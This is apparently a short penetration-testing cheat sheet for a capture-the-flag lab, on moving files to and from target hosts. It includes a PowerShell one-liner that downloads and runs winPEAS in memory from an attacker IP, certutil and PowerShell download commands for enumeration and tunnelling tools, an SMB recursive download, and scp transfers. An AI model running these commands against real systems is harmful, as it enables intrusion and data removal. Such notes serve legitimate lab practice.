---
title: "Moving data"
date: 2024-06-22
draft: false
---

download and execute in memory
```bash
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.4:80/winPEAS.bat') | powershell -noprofile -
```

---
SMB - recurse file download
```bash
smbclient '\\server\share'
mask ""
recurse ON
prompt OFF
cd 'path\to\remote\dir'
lcd '~/path/to/download/to/'
mget *
```

```bash
`certutil -urlcache -split -f "http://<my_ip>:8888/winPEASany.exe" winpeas.exe`

`powershell -c "(New-Object System.Net.WebClient).DownloadFile(\"http://<my_ip>:8888/winPEASany.exe\", \"winpeas.exe\")"`

powershell "Invoke-WebRequest -UseBasicParsing 10.10.14.4/plink64.exe -OutFile plink64.exe"
```

---
FROM KALI TO SSH HOST 
```bash
┌──(root㉿kali)-[~/boxes/boardlight]
└─# scp linpeas.sh larissa@10.10.11.11:.
larissa@10.10.11.11's password: 
linpeas.sh                                                            100%  843KB   1.9MB/s   00:00  
```

from ssh host to kali
```bash
scp username@remote:/file/to/send /where/to/put
```
